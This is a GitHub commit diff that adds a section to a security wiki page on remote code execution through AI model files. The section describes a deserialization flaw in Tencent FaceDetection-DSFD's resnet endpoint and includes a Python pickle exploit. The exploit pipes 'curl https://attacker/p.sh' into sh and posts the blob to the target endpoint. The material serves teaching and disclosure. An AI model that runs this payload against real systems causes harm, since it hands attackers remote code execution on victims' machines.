Skip to content

Commit 6f74a08

Browse files
committed
f
1 parent 481b55a commit 6f74a08

File tree

1 file changed

+21
-0
lines changed

1 file changed

+21
-0
lines changed

src/AI/AI-Models-RCE.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,6 +189,27 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
189189
# /tmp/pwned.txt is created even if you get an error
190190
```
191191

192+
### Deserialization Tencent FaceDetection-DSFD resnet (CVE-2025-13715 / ZDI-25-1183)
193+
194+
Tencent’s FaceDetection-DSFD exposes a `resnet` endpoint that deserializes user-controlled data. ZDI confirmed that a remote attacker can coerce a victim to load a malicious page/file, have it push a crafted serialized blob to that endpoint, and trigger deserialization as `root`, leading to full compromise.
195+
196+
The exploit flow mirrors typical pickle abuse:
197+
198+
```python
199+
import pickle, os, requests
200+
201+
class Payload:
202+
def __reduce__(self):
203+
return (os.system, ("curl https://attacker/p.sh | sh",))
204+
205+
blob = pickle.dumps(Payload())
206+
requests.post("https://target/api/resnet", data=blob,
207+
headers={"Content-Type": "application/octet-stream"})
208+
```
209+
210+
Any gadget reachable during deserialization (constructors, `__setstate__`, framework callbacks, etc.) can be weaponized the same way, regardless of whether the transport was HTTP, WebSocket, or a file dropped into a watched directory.
211+
212+
192213
## Models to Path Traversal
193214

194215
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.

0 commit comments

Comments
 (0)